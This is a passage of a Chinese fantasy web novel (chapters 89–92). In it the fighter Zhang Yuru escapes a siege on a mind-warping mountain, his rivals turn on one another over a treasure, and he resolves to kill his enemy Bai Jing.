或许是这突如其来的发现太过震撼,让两人一时间失了分寸,白镜与雷鸣竟在同一时刻下意识地放缓了对张玉汝的攻击。 这其中若是只有雷鸣一人如此倒还罢了,偏偏白镜所施展的能力,才是此前牢牢封堵住张玉汝所有退路、令他无法脱身的关键所在。 就在白镜能力因这瞬间的分神而出现一丝破绽的刹那,早已暗中开启「造化之眼」与「加速世界」的张玉汝,敏锐地捕捉到了这稍纵即逝的机会。 只见一道皎洁的白色流光猛地从张玉汝身上迸发而出,裹挟着他的身形,快如闪电般瞬间消失在原地。 等到那道流光再次显现踪迹时,张玉汝已然稳稳地站在了白镜用无数镜子构筑而成的包围圈之外,虽然身形依旧踉跄,气息依旧虚弱,却终究是挣脱了那致命的禁锢。 不过话说回来,这也实在不能怪白镜反应如此之大、近乎失态。 要知道,根据自然教会古籍中的详细记载,方才天空中那抹转瞬即逝的靛蓝色光芒,分明就是玄霜云珀被成功采集之后,天地间自然浮现的异象——那可是连教会都梦寐以求的至宝,此刻骤然出现,怎能不让他心神剧震? “该死!我竟然上当了!”白镜猛地回过神来,脸上的惊愕瞬间转为震怒,他狠狠一拳砸在旁边的石壁上,终于想通了此前一直萦绕在心头的疑惑。 那些刚才让他隐隐觉得有些不对劲,却又始终抓不住头绪的地方,此刻如同被点亮的星火般串联起来,让他瞬间明白了张玉汝的算计。 白镜声音低沉,缓缓吐出几个字:“是雨萱。” 话音落下的瞬间,白镜的脊背不自觉地绷紧,冷汗顺着后颈滑入衣领。 他终于惊觉,方才自己竟犯下了一个致命的疏漏——完全将雨萱抛诸脑后。 脑海中如闪电般掠过种种细节,那些本该与雨萱相关的线索,此刻像被人刻意抹除般,消失在记忆的缝隙里。 他满心疑惑,自己向来心思缜密,绝非粗心大意之辈,为何会对雨萱的存在毫无印象? 这个疑问如同一团乱麻,越理越乱,让他的太阳穴突突直跳。 更令人费解的是,方才一同围攻张玉汝的众人,竟无一人提及雨萱。 按理说,在这样的局势下,任何一个相关人物都应被纳入考量,可雨萱就像被整个世界遗忘了。 白镜眉头紧蹙,心中翻涌着惊涛骇浪。难道他们都不约而同地犯了如此低级的错误? 若说一两人疏忽,倒还能解释,可五个人同时忽略关键人物,这未免太过蹊跷。 毕竟,在场众人皆是身经百战、经验丰富之辈,绝非轻易犯错的草包。 在脑海中反复推演后,他否定了这个荒诞的可能。 五个人同时愚蠢的概率微乎其微,几乎可以忽略不计。 排除了所有不可能,剩下的,即便再难以置信,也必然是真相。 白镜眸光一凛,心中已然有了答案——这一切绝非偶然,必定是有人暗中操控。 而这个人,极有可能就是张玉汝。 在这场看似普通的围攻中,张玉汝不知使用了何种手段,悄然改变了众人的认知,让他们集体选择性遗忘了雨萱。 这个发现,让白镜的后背一阵发凉。 事实的确如此。 与雨萱相遇后不久,张玉汝便从她口中探知了凉风之山鲜为人知的隐秘。 这座山闻名遐迩的不仅是蕴藏其中的天材地宝,更因其本身潜藏着令人心悸的邪性特质。 深入探索便会发现,凉风之山仿佛有着无形的魔力,能够肆意拨弄人的情绪之弦。 平日里不值一提的琐碎小事,一旦置身此地,却可能成为点燃怒火的导火索,轻易便能让人陷入勃然大怒的失控状态。 这种诡异的影响,如同附骨之疽,悄无声息地侵蚀着人们的理智。 在与雨萱一同赶路的漫长旅途中,张玉汝像个疯狂的实验者,不断地进行尝试与验证。 经过无数次的摸索,他终于找到了一套行之有效的方法,能够巧妙地利用这座山的特殊环境。 他如同一个隐藏在暗处的操控者,与雨萱默契配合,精心设下情绪陷阱。 对于毫无防备的人来说,这样的陷阱就像温柔的沼泽,一旦踏入,便会在不知不觉间深陷其中。 当人们的情绪被成功干扰后,思维便会出现难以察觉的漏洞。 他们会下意识地忽视那些本应引起警觉的不合理之处,对诸多可疑细节视而不见。 而张玉汝施展的「世界」,更是如同一个精密设计的牢笼。 它不仅起到拖延众人时间的作用,还如同催化剂一般,持续加深着众人受环境影响的程度。 那片虚幻的「世界」,不断放大着负面情绪,蚕食着众人的意志力。 倘若没有林逸凭借其特殊能力,以雷霆之势直接打破张玉汝的「世界」,恐怕白镜等人所受的影响还将愈演愈烈,在迷失自我的道路上越走越远,最终成为被情绪操控的傀儡,陷入万劫不复的境地 。 第 89章 软脚虾 “快去找雨萱!” 白镜面色阴沉如墨,声音里带着不容置疑的急切,几乎是从齿缝间迸出这几个字。 倘若能够成功干掉张玉汝,的确能让白镜心头积攒的怒火得以发泄,那股郁气也能吐出去几分。 然而,冷静下来细想,这不过是一时的意气之举,未必能换来实质性的好处。 反观玄霜云珀,那可是实实在在能带来能力显著提升的至宝。 得到它之后,白镜能够进一步提升自己的实力,为自己突破宗师做好准备。 白镜心里跟明镜似的,对于干掉张玉汝和夺取玄霜云珀这两件事,孰轻孰重,他心中早有明确的衡量。 而在场的众人,也并非愚笨之辈,同样的道理,他们又岂会不明白? 意气之争不过是一时的情绪宣泄,利益之争才关乎自身的长远发展,究竟哪个更重要,每个人心里都有一杆秤,都能在权衡利弊后做出属于自己的选择。 就在白镜的呼喊声响起的瞬间,雷鸣的身体周围猛然迸发出一道耀眼的青色雷光! 这道雷光极其灵活,迅速在他的体表流转闪烁,仿佛一条条灵动的小蛇在他身上游走。 在这道青色雷光的映衬下,雷鸣整个人都显得格外耀眼,他的速度也在瞬间提升到了极致。 在围攻张玉汝的众人之中,雷鸣的速度堪称一绝,无人能及。 当雷鸣全力冲刺时,他的身影如同闪电一般,在极短的时间内便能够跨越相当远的距离。 若是此刻让雷鸣动身去追雨萱,以他的速度,确实极有可能及时将其截住,把玄霜云珀重新夺回来。 可问题也随之而来,倘若雷鸣真的顺利拿到了玄霜云珀,他还会信守承诺,回来和其他人公平分配吗? 答案不言而喻,这种话就算说出口,恐怕在场众人都会嗤之以鼻,觉得荒谬至极,恐怕连雷鸣自己听了,都不会相信这样的鬼话。 如此一来,新的难题摆在了众人面前:如果不让雷鸣去找雨萱,那该派谁去才合适呢? 仔细思量,在场的无论是谁单独出发,其他人必然都不会放心,也不会接受。 毕竟,这个团队本就是因利益而临时结合在一起,在有着共同利益的时候,众人齐心协力,看上去颇为团结。 然而,一旦彼此之间的利益出现冲突,这种脆弱的联盟便如同沙筑的城堡,顷刻间就会分崩离析。 果不其然,就在雷鸣摩拳擦掌、准备动身的瞬间,丁璎珞和冯难也迅速做出反应。 他们眼神中满是警惕,同样做好了一同跟随前去的准备。 原本将张玉汝围得水泄不通的合围之势,在这短短一瞬之间,便摇摇欲坠,眼看就要彻底瓦解。 这些方才还通力合作、并肩作战的家伙,此刻眼神中满是盘算,纷纷做好了抽身而退的准备。 他们心中各怀心思,盘算着如何在这场利益纷争中分得一杯羹,却全然不顾方才共同对敌时的默契。 不过,事情真能如他们所愿吗?这场充满变数的争斗,又岂会如此轻易就按照众人预想的方向发展? 就在众人即将分散离去的刹那,一道冰冷而又带着几分戏谑的声音,悠悠地传入了这些心思各异的人群耳中:“我让你们走了吗?” 说话之人,正是被众人围攻、看似已无还手之力的张玉汝。 “哈?这家伙在说什么胡话呢?”冯难一脸疑惑地转过头,看向那个被打得早已看不出人形的张玉汝。 此时的张玉汝,浑身狼狈不堪,衣衫褴褛,血迹斑斑,在冯难眼中,不过是个苟延残喘的失败者。 “活着不好吗?本来好不容易捡回条命,灰溜溜夹着尾巴逃走不就得了,非要在这种时候跳出来瞎叫唤。”冯难的眼神中满是不加掩饰的轻蔑,话语里也尽是嘲讽之意。 在他看来,张玉汝纯粹是在自寻死路,明明众人都已经打算放过他,他却非要自己跳出来找存在感,活脱脱像个不知天高地厚的小丑。 然而,冯难很快就会明白,究竟谁才是这场争斗中真正的小丑。 “是吗,那你就看好了。”张玉汝语气平静,却隐隐透着一股令人心悸的自信。 紧接着,他轻吐二字:“颠倒。” 声音不大,却字字清晰,如同重锤一般,敲在了在场每一个人的心上。 话音落下,只见张玉汝的身后,缓缓浮现出一轮完美无缺的阴阳鱼图案,黑白两色相互交融,流转间透着神秘莫测的气息。 而后,墨色能量如潮水般涌出,将张玉汝整个人完全包裹其中。 冯难瞪大了眼睛,紧紧盯着那团墨色能量,心中满是疑惑与不安。 片刻之后,墨色能量渐渐消散,张玉汝再次出现在众人的视线当中。 眼前的景象,惊得众人倒吸一口凉气——方才那惨不忍睹的伤势,此刻竟全部消失不见! 他的肌肤光洁如玉,不见丝毫伤痕,双眸之中光芒流转,透着一股难以言喻的神采。 若不是身上那破破烂烂的衣服还在,众人恐怕都要以为眼前站着的,是另外一个人了。 张玉汝并未给众人留下半点思考的空隙,刚一恢复伤势,周身气势陡然暴涨,凛冽杀意如实质般弥漫开来。 几乎在伤势痊愈的刹那,他便悍然出手,冷喝一声:“刹那!” 话音未落,一道刺目耀眼的白色光华如闪电般划破虚空。 方才还满脸嘲讽、言辞轻蔑的冯难,甚至来不及做出反应,便被张玉汝裹挟着雷霆万钧之势的重拳击中。 这一拳蕴含着恐怖的力量,瞬间击碎了冯难全力凝聚的护体能量,强大的冲击力将他整个人狠狠砸向身后那千万年不化的冰川。 只听“轰”的一声巨响,冯难的身形深深嵌入冰层之中,冰屑纷飞四溅。 他艰难地抬起头,嘴角溢出鲜血,断断续续说道:“咳咳,的确有点实力,但是你也不好受吧。” 在遭受重击的瞬间,冯难感觉自己仿佛被洪荒巨兽迎面撞击,五脏六腑都仿佛移位,全身的骨骼都在发出不堪重负的呻吟。 然而,冯难也并非毫无准备。 此前,他早已在自己身上布置下诸多隐秘手段。 此刻他心中暗自盘算,张玉汝贸然出手,必然也会付出不小的代价。 “是吗?”张玉汝神色淡然,只是随意瞥了一眼自己的左手。 众人这才发现,在方才击中冯难的同时,他的左手上不知何时已印上了些许符文。 这些符文泛着诡异的红光,其中蕴含着冯难独特的火焰能量,此刻正沿着他的手臂疯狂燃烧。 火苗“噼啪”作响,却丝毫不曾让张玉汝露出半分慌乱之色。 “被我的符文粘上之后,你的左手注定要废了。” 冯难倚在冰川凹陷处,嘴角虽淌着血,眼中却满是得意与狠厉,仿佛已预见张玉汝左手尽毁的模样。 “呵呵,我的左手,可不是那些一碰就碎的废物懦夫软脚虾能比的。”张玉汝唇角勾起一抹嘲讽的弧度,笑意未达眼底,周身气息愈发森冷。 他垂眸凝视着左手跃动的火焰符文,声音里尽是漫不经心的轻蔑,仿佛在谈论一件不值一提的小事。 话音刚落,璀璨夺目的白色光芒如潮水般在他掌心翻涌汇聚。 那光芒纯净而凌厉,似有无坚不摧的力量。 冯难瞪大了双眼,眼睁睁看着自己精心布置、自以为牢不可破的符文,在白光的笼罩下,如同春雪遇骄阳,纷纷崩解,化作细碎的粉尘簌簌飘落,消散于无形。 “他究竟是怎么做到的?”冯难心中掀起惊涛骇浪,可面上却强装镇定,目光死死盯着张玉汝那毫发无损的左手,喉结不自觉地上下滚动。 他精心布置的符文,本以为能让对方吃尽苦头,此刻却如泡影般破碎,这超乎常理的一幕,令他满心都是难以遏制的震撼与恐惧。 张玉汝自是不会理会敌人眼底翻涌的惊惶,更无意多做解释。 对他而言,破除这符文不过是举手之劳。 在他的认知里,运动与变化是世间永恒的真理,静止不过是相对的表象。 即便是掌握“永恒”之力的他,也深知真正的永恒不过是虚妄,又何况冯难设下的这几个符文,在他眼中实在不值一提。 在破除对方的符文时,张玉汝抬手轻挥,指尖掠过左手符文的刹那,便施展出「刹那芳华」。 这一能力的玄妙之处,在于能加速物质的运动与变化,让其在瞬息之间跃入下一个发展阶段。 随着张玉汝实力日益精进,「刹那芳华」的威能也愈发强大,如今他催动此术,所能跨越的阶段远超以往。 那些符文在这股力量的作用下,如同被按下了快进键,飞速走向消亡,不过眨眼之间,便消散得无影无踪 。 张玉汝全然无视被震慑得呆立当场的冯难,周身杀意更盛,目光如鹰隼般扫过众人,毫不犹豫地继续发动攻势。 就在他与冯难交手的间隙,雷鸣已然抓住时机,周身电光爆闪,化作一道璀璨的雷霆,试图脱离战场,独自前往追寻雨萱的踪迹。 然而,就在雷鸣身形化作雷霆的瞬间,站在另一个方位的丁璎珞看似漫不经心,实则早有预谋地施展能力。 刹那间,一根巨大无比的引雷针拔地而起,尖锐的顶端泛着幽幽蓝光,直指苍穹。 当雷鸣化身雷霆穿梭之时,那股天生对雷电的吸引力,让他不可避免地被引雷针牢牢牵引,身形在空中微微一顿,速度也随之骤减。 这短暂的耽搁,对于张玉汝而言,已然足够。 只见他嘴角勾起一抹冰冷的笑意,周身墨色能量如沸腾的岩浆般翻涌而出,化作一条张牙舞爪的巨龙直冲天际。 紧接着,一道遮天蔽日的巨型帷幕自天空轰然落下,散发着神秘而强大的威压,将在场所有人都尽数笼罩其中。 但凡有人试图穿越这道墨色帷幕,便会如同陷入粘稠的泥潭,速度瞬间遭受极大衰减,每前进一步都无比艰难。 “贱人!你在干什么?”雷鸣周身电光炸响,暴怒的吼声裹挟着雷霆的轰鸣,震得四周空气嗡嗡作响。 他被引雷针强行牵制,身形在空中扭曲挣扎,眼中满是愤怒与不甘。 丁璎珞嘴角勾起一抹似笑非笑的弧度,眼神中透着冷冽的算计:“哦?那你又想一个人去干什么呢?” 她的声音轻柔,却暗藏锋芒,手中操控的引雷针微微颤动,仿佛随时准备给雷鸣再来一记重击。 人不患寡而患不均,这道理丁璎珞再清楚不过。 若是在场众人都与玄霜云珀无缘,她纵然满心不甘,倒也能勉强咽下这口气。 可要是眼睁睁看着雷鸣从自己眼皮底下溜走,独占获取至宝的机会,那她无论如何也无法接受。 在这利益纷争的漩涡中,谁都不愿成为被抛下的输家。 目睹这剑拔弩张的一幕,张玉汝不禁放声大笑,笑声中充满了戏谑与嘲讽。 狗咬狗的戏码,向来是他最爱看的。 若是这些人能自相残杀,不用他动手就两败俱伤,那可真是求之不得的美事。 然而,他很快便收敛了笑意,眼神变得冷峻而警惕。 他心里明白,作为在场最有可能掌控局势、获取最大利益的人,无论这些人如何内斗,最终矛头必然还会指向自己,一场恶战在所难免。 这一次的局势与之前截然不同。 先前,张玉汝拼尽全力牵制众人,为的是给雨萱争取足够的逃离时间,每一分每一秒的拖延都关乎着计划成败。 而此刻,他虽以“颠倒世界”暂时迟滞了众人脚步,却不再受限于必须留守此地的困境。 张玉汝心中清楚,在场众人中,论速度无人能与他匹敌。 只要他能率先与雨萱会合,凭借二人之力,其他人再难有争夺玄霜云珀的机会。 此前,众人被利益纷争迷了眼,竟都忽视了这个致命的关键点。 而当雷鸣被阻、丁璎珞横插一杠的混乱时刻,他们又不约而同地意识到了这个让人不愿意接受的事实。 一时间,场中气氛凝固。 主动权如同无形的砝码,悄然间再次倾斜到了张玉汝手中。 去或留,战或退,皆在他一念之间。 第 90章 回归初心 若想让自身利益达到最大化,张玉汝要做的事情其实再简单不过:只需与在场这几人稍作周旋,短暂纠缠片刻,再寻个恰当的时机加速脱身,尽快赶去与雨萱会合,而后尽早借助玄霜云珀提升自身实力——这便是最稳妥且收益最高的选择。 这样一连串的操作,换作旁人或许会觉得困难重重,既要精准把控周旋的尺度,又要在瞬息之间找到脱身的缝隙,稍有不慎便可能陷入重围。 但对于张玉汝而言,这实在算不得什么难事,甚至可以说是手到擒来。 他所掌控的「颠倒世界」,本就擅长延缓对手的行动。 那道墨色帷幕虽无法对众人造成实质性的伤害,却能如无形的枷锁般束缚他们的步伐,让他们每挪动一步都倍感滞涩。 仅凭这一手,拖延上一段时间便绝非难事。 待拖延的时间足够充裕,他再动用「造化之眼」,于纷繁复杂的局势中精准洞悉对方防线的破绽。 随后,借由「刹那」带来的爆发性速度提升,如一道流光般冲破阻碍,彻底甩掉这群紧追不舍的家伙——整个过程,对他而言简直易如反掌。 然而,张玉汝并没有选择这条看似最优的道路。 他此番踏足凉风之山,难道真的只是为了夺取玄霜云珀吗? 答案显然是否定的。 回想一路走来的历程:他自混乱之地启程,穿越危机四伏的巴拉特,翻越冰封万里的雪域高原,最终抵达这险峻的昆仑山脉。 这一路上的艰辛与风险,绝非三言两语能够描摹殆尽——多少次在生死边缘徘徊,多少次与强敌狭路相逢,每一步都浸透着不易。 尽管在外人看来,他为了玄霜云珀费尽心机,做了诸多部署与争夺,但实际上,这一切都只是达成他真正目的的必经过程。 那些围绕着玄霜云珀的周旋与博弈,不过是他计划中的一环罢了。 于张玉汝而言,白镜的性命、自然教会的谋划,远比玄霜云珀重要得多。 即便玄霜云珀最终落入他人之手,即便雨萱一去不复返,他也不会太过在乎——这是他为了达成最终目的,早已做好心理准备去承受的损失。 他此行最核心、最不容动摇的目的,自始至终都只有一个:亲手干掉白镜,同时尽可能地破坏自然教会的计划,给对方添堵。 所以张玉汝没有选择转身离去,他决意留下来,继续与这群各怀鬼胎的家伙周旋到底。 其实,张玉汝并非从一开始就把这一切看得如此透彻。 就在雨萱成功夺得玄霜云珀的那一刻,他的第一反应其实是尽快追上雨萱与之会合——他那时最担心的,是雨萱会带着宝物独自跑路,只留下自己一个人面对白镜等人的围攻。 毕竟在这利益交织的漩涡里,人心叵测,谁也不敢轻易相信他人。 然而,就在与白镜硬撼一招、两股力量碰撞迸发的瞬间,张玉汝脑中却猛地闪过一个念头,让他骤然想起了自己踏上这条路的最初目的。 那一刻,他的内心不由得泛起一阵自嘲:原来自己竟在不知不觉间,早已忘了出发时的方向。 他最初的目标明明只是干掉白镜,破坏自然教会的谋划,可在追逐的过程中,却被沿途的纷扰渐渐迷了双眼,偏离了原本的轨道。 张玉汝曾不止一次在心里鄙夷那些对手,笑他们是彻头彻尾的逐利之辈,为了一点蝇头小利便能随时撕破脸皮,上演狗咬狗的丑剧。 可当他静下心来,细细回想这段时间自己的所作所为——为了玄霜云珀与众人明争暗斗,为了提防同伴而步步算计——他惊讶地发现,自己似乎与那些被他嘲笑的人并无本质区别。 或许,人类本就如此。走着走着,就会在不经意间忘记最初的想法,拐进另一条岔路。 那条新的道路,或许风景更优,或许坦途更广,甚至可能比原来的路更容易抵达所谓的“成功”。 可对于张玉汝而言,即便这条“更好”的路摆在眼前,也并非他心之所向。 他要的,从来都不是这些。 张玉汝忽然想起曾经偶然瞥见的一段话,那段文字出自一本流传甚广的武侠小说。 他并未沉下心读完整个故事,那些江湖恩怨、刀光剑影早已模糊,唯独那段话,如同刻在心底的烙印,始终清晰地停驻在脑海深处。 “江南有杨柳、桃花,有燕子、金鱼……汉人中有的是英俊勇武的少年,倜傥潇洒的少年……但这个美丽的姑娘就像古高昌国人那样固执:‘那都是很好很好的,可是我偏不喜欢。’” 是啊,旁人眼中的“好”,普罗大众所推崇的“好”,与自己的选择究竟有何关联? 或许是有的。人活于世,终究无法脱离环境而存在,周遭的评价、世俗的标准,总会在不经意间渗透进来,影响着判断与抉择。 可这种关联,从来都不是绝对的。当一个人真正看清内心所求,明了自己想要奔赴的方向时,他人的意见与想法,便只剩下参考的意义,再也无法撼动其本心。 凉风之山,当真是个诡异而恐怖的地方。 这里的寒气似乎能穿透肌肤,直抵人心最深处,将潜藏的情绪与欲望悄然放大。 那些平日里被理智压制的贪婪、猜忌、暴戾,在此地如同被解开了枷锁,肆意疯长,让原本还算克制的众人渐渐变了模样,做出许多曾经绝不会染指的事情与选择。 张玉汝并非例外,他同样未能完全幸免。这段时间里,他在许多与玄霜云珀相关的事情上耗费了太多心神——与众人周旋、提防同伴反水、盘算如何夺取宝物…… 这些事,于达成最终目的而言,或许确有不小的助益,每一个选择都透着权衡利弊后的“合理”。 可冷静下来细想,那些看似“合理”的选择,却并非真正的张玉汝会做出的抉择,它们更像是被此地的欲望裹挟后,偏离本心的妥协。 “哈哈哈,搞那么多弯弯绕绕干什么!” 在众人满含警惕的目光注视下,张玉汝忽然放声大笑起来,笑声里带着一种豁然开朗的畅快,在空旷的冰川间回荡不休。 白镜等人脸上满是诧异,纷纷拧紧眉头,不明白这个刚刚还神色冷峻的对手为何突然有此举动。 但这些探究的目光,丝毫没有影响到张玉汝——此刻他的心中,正被一股难以言喻的喜悦填满。 这喜悦,不是夺得宝物的狂喜,也不是击退强敌的自得,而是一种失而复得的澄澈与清明。 是在迷雾中跋涉许久,终于看清来路与去向的通透,是挣脱了欲望的桎梏、重新找回本我的释然,更是勘破了内心迷障后,那份纯粹而坚定的畅快。 笑声渐歇,张玉汝的目光骤然锁定在白镜身上,那双眼眸里再无半分犹豫与迷茫,只剩下毫不掩饰的凛冽杀意,声音也随之变得冰冷而决绝:“白镜,我来杀你了。” “哦?那就要看你的本事了。”白镜的语气冷得像淬了冰,每一个字都带着刺骨的寒意,只是听着,便让人浑身泛起细密的鸡皮疙瘩,仿佛周遭的空气都被这话语冻结了几分。 张玉汝没有半分与他继续废话的念头,眼中杀意翻腾,周身白光骤然暴涨,如同一道撕裂黑暗的闪电,裹挟着一往无前的凌厉气势,径直朝着白镜猛冲而去。 那速度快得几乎让人看不清轨迹,只留下一道残影划破虚空,带着破风之声,瞬间便已逼近白镜身前。 第 91章 战斗爽 凉风之山深处,乍一看去似乎并无太过扎眼的危险因素,既没有张牙舞爪的猛兽拦路,也没有触目惊心的陷阱密布。可那些潜藏在暗处、不易察觉的东西,却远比摆在明面上的威胁要可怕得多。 它们如同附骨之疽,悄无声息地渗透进来,一点点蚕食人的心智,扭曲人的判断。 就像此前的张玉汝,本是抱着明确的目标踏入此地,可走着走着,竟在不知不觉间将大量精力耗费在了其他事情上。 或许最初的出发点,依旧是为了完成那份深埋心底的初衷,可在一步步推进的过程中,却悄然掺杂了太多额外的东西:对玄霜云珀的觊觎,对同伴的提防,对眼前利益的盘算……这些念头如同藤蔓般缠绕上来,渐渐模糊了他原本清晰的视线。 当一个人的目的不再纯粹,被太多的干扰与牵扯裹挟时,便如同在迷雾中行走,脚下的路变得崎岖难辨,想要原原本本地抵达最初的终点,达成那份未曾动摇的初衷,便成了难上加难的事情。 张玉汝先前便是如此,被许多他当时以为至关重要,如今想来却并非那么不可或缺的事情牵扯了太多心神。 那些看似必要的周旋,那些自以为精明的算计,实则都在无形中分散着他的力量,让他在追寻核心目标的路上越绕越远。 而当他彻底想明白这一切,勘破了那些不必要的牵绊后,原本束缚着他的重重枷锁、萦绕在心头的种种顾虑,便如同被阳光驱散的晨雾,瞬间烟消云散,消失得无影无踪。 此刻的他,心境澄澈如洗,眼中只剩下最初的目标,再无半分杂念。 「刹那」所裹挟的白色光华骤然迸发,如同一道骤然亮起的炽日,瞬间淹没了众人的视线,让周遭的一切都蒙上了一层晃眼的光晕。 面对张玉汝直扑白镜的凌厉攻势,在场其余人竟无太大反应,非但没有出手阻拦的意思,反而个个面露旁观之色,仿佛眼前这场生死对决不过是一场与己无关的戏码,只等着看最终的结局。 即便是与白镜同属自然教会,本该并肩作战的雷鸣,此刻脸上也挂着几分难以掩饰的幸灾乐祸,显然对此乐见其成。 显而易见,被凉风之山这诡异之地侵蚀心智的,绝非只有张玉汝一人。 此地仿佛有一种无形的魔力,能将人心中潜藏的念头无限放大,让原本被理智压制的心思悄然滋生。 人非圣贤,孰能无过?谁的心底不曾掠过些许阴暗的念头?这本是再正常不过的事情。 正所谓“看人论迹不论心,论心世上无完人”,人心深处的想法瞬息万变,若要深究,恐怕这世间难有真正无瑕之人。 绝大多数人或许都会在脑海中闪过各种各样的念头,有善有恶,有光明有阴暗,但大多数时候,这些念头都只是一闪而过,被理智与道德牢牢禁锢,不会真正付诸行动。 然而在凉风之山,情况却截然不同。 这里的每一寸空气似乎都在催化着欲望的生长,将那些潜藏的阴暗念头无限放大,让原本只敢在心底盘旋的想法,有了被付诸实践的可能。 雷鸣此刻会有这般反常的表现,归根结底,也正是这个原因——在凉风之山的影响下,他心中那些平日里被压抑的念头,已然悄然占据了上风。 自然教会内部的各个派系之间,虽说存在着不小的矛盾与分歧,但在绝大多数情况下,只要有其他势力的人在场,他们往往还是需要刻意表现出一致对外的姿态,维系着表面上的团结。 而雷鸣此刻这种连表面功夫都懒得做的行为,其实透着一股说不出的诡异。 只是身处这片山中的众人,全都深陷其中,丝毫没有察觉到这一点的异常。 他们下意识地将这一切视作再正常不过的举动,就连白镜自己,也同样抱有这样的想法,未曾有过丝毫的怀疑。 可以说,这群人在不知不觉之间,早已受到了某种潜移默化的影响,思维被悄然改变。 或许,如今唯有找回了初心的张玉汝,才能够敏锐地察觉到这些隐藏在平静之下的蛛丝马迹。 这样的情况,对于眼下的张玉汝而言,无疑是极为有利的。 那群眼中只看重利益的家伙,显然不太可能会真心实意地站出来救援白镜。 不过,对于这样的事情,现在的张玉汝已经不会再放在心上了。 精于算计固然能够为自己争取到不少实际的好处,可若是一味沉溺在这种算计之中无法自拔,最终只会得不偿失,失去更重要的东西。 在彻底明悟了这些道理之后,张玉汝的心中便不再有太多纷乱的思绪。 他现在的脑子里,所思所想的,唯有一件事——那就是干掉白镜。 来到白镜面前的那一刻,张玉汝没有半句多余的言语,周身的气息骤然凝聚。 他猛地将右掌竖掌成刀,臂膀带动着掌缘划破空气,带着一道尖锐的破空声直劈白镜的脖颈,掌风所过之处,连周遭的气流都仿佛被撕裂开来。 白镜始终以一种近乎漠然的平静注视着眼前发生的一切,直到那道凌厉的掌刀即将触及他脖颈的瞬间,他的体表才陡然泛起三层流转着淡淡光华的镜面。 这三层镜面层层叠叠,如同三道坚不可摧的壁垒,将他整个人护在其中。 “铛!” 张玉汝的掌刀与最外层的镜面狠狠相撞,一声清脆而响亮的金属交击声骤然炸开,震得空气都微微震颤。 然而这道声音尚未完全消散在空气中,第二道、第三道更为急促的碰撞声便接踵而至,“铛!铛!” 两声连响,如同密集的鼓点般敲在人心上。 精于近战搏杀的张玉汝,对于劲力的掌控早已达到了登峰造极的大师水准。 这看似简单的一次攻击之中,实则暗藏着数道截然不同的劲力,刚柔并济,层层递进,于瞬间爆发开来 —— 这般将多种劲力糅合于一击之中的手段,对他而言不过是习以为常的家常便饭。 那股复杂而霸道的劲力,在接连破开白镜的三层防御镜面之后,依旧残留着几分余威,朝着白镜的脖颈蔓延而去。 但就在这短短瞬息之间,也早已足够白镜完成姿态的调整。 他身形微侧,巧妙地卸去了残余的劲力,虽然终究没能完美无缺地挡下张玉汝这雷霆万钧的一击,脖颈处还是留下了一道浅浅的血痕,可白镜已然凭借着迅捷的反应,将自身的损伤降到了最低限度。 根本没给白镜任何喘息与思考的余地,张玉汝身形一晃,如同鬼魅般再度贴近对方。 他的攻势如同连绵不绝的潮水,一招紧接着一招,没有半分停歇。 那些招式乍看之下,速度似乎并不算快,每一式的起手与收势都清晰可见,可无论白镜如何调动身形,却始终无法避开 —— 仿佛张玉汝的手掌、拳脚总能提前预判到他的闪避轨迹,如同跗骨之蛆般紧紧黏住他,让他避无可避。 世间事,向来是一步快则步步快,一旦让对手抢占了先机,后续想要扭转局势便难如登天。 此刻的张玉汝正是如此,凭借着开篇那雷霆一击奠定的优势,他的攻势如同密不透风的罗网,层层递进地压制着白镜,让对方连调整气息的空当都难以寻觅。 白镜此刻彻底陷入了被动挨打的境地,身上的镜面防御在连绵不断的攻击下闪烁不定,光芒也肉眼可见地黯淡了几分。 在这持续的压制中,他并非没有尝试过反击,脑中更是飞速运转,盘算过不少突围的办法 —— 有时是想凝聚力量催动镜面反击,有时是想侧身迂回拉开距离。 可每一次,不等他的招式完全施展出来,甚至在他刚刚萌生反击念头的瞬间,张玉汝的下一击便已如影随形地抵达,或是精准地格挡开他的攻势,或是直接变招封锁住他的退路,硬生生将他的反击扼杀在摇篮里。 究其根本,是因为在开启了「造化之眼」的张玉汝面前,白镜的一切举动都无所遁形。 那双仿佛能洞穿万物本质的眼眸,将白镜肌肉的每一次细微收缩、气息的每一次流转变化都尽收眼底,他的招式轨迹、后续谋划,甚至连那一闪而逝的念头,都被张玉汝看得一清二楚,如同透明一般暴露在对方面前。 当所有的桎梏都彻底消散无踪,张玉汝只觉得浑身通透、神清气爽,那种久违的、纯粹从战斗中迸发的酣畅淋漓之感,如同清泉般淌过四肢百骸。 从前的那些战斗里,只因脑中思虑得太多太杂,顾虑重重,张玉汝即便能在交锋中占据上风、拿下优势,也始终难以体会到这般毫无滞涩的爽利。 每一次出手都要权衡利弊,每一次攻防都要算计得失,那份沉甸甸的心思,早已压过了战斗本身的快意。 而此刻的他,就像是终于从黏腻憋闷的回南天里挣脱出来,一路奔跑到开阔的高山之巅,任由猎猎山风毫无阻碍地穿过衣襟,吹散所有的沉郁与滞涩,那种通透畅快的感觉,几乎要让他放声长啸。 “爽!”张玉汝再也难以抑制翻涌的情绪,索性便任由这股快意冲口而出,一声低吼里满是释放后的酣畅。 “神经病。”白镜听着这声呼喊,只当是对方有了几分优势便得意忘形,故意在嘲笑自己、挑衅自己,脸上不由得掠过一丝嫌恶与冷意,语气里更是充满了鄙夷。 第 92章 逃跑 听到白镜那如同被点燃的炮仗般气急败坏的怒骂,张玉汝垂在身侧的手指轻轻动了动,眼底却连一丝恼怒的涟漪都未曾泛起。 那嘶吼里裹着的焦躁与怨毒,像被烈日晒化的冰块,刚碰到他的心头就消弭无踪,连半分火气都引不出来。 在张玉汝眼里,这般光有架势却无实效的无能狂怒,实在是拙劣得可笑。 就像被关在笼子里的野兽徒劳地冲撞铁栏,除了暴露自己的窘迫与无力,根本起不到任何作用,不过是平白增添些笑料罢了。 他甚至能清晰地想象出白镜此刻涨得通红的脸颊,以及镜面后那双因愤怒而微微眯起、却藏不住慌乱的眼睛。 张玉汝回应白镜的方式,依旧是面无表情地朝着这鳖孙狠狠挥出一拳。 拳头带着呼啸的劲风,凌厉地划破两人之间的空气,拳锋上甚至能看到因速度过快而泛起的淡淡残影。 可这一拳的结局,也毫无悬念地被层层叠叠的镜面拦截下来——那些镜面泛着冰冷的银光,如同凝固的湖水般层层铺开,将拳劲悉数吸收,连一丝细微的颤动都未曾向外扩散,只在镜面深处留下转瞬即逝的涟漪,随后便恢复了平滑如镜的模样。 自打张玉汝主动迈步贴近白镜的那一刻起,两人之间便不知已经重复了多少次这样的招式交锋。 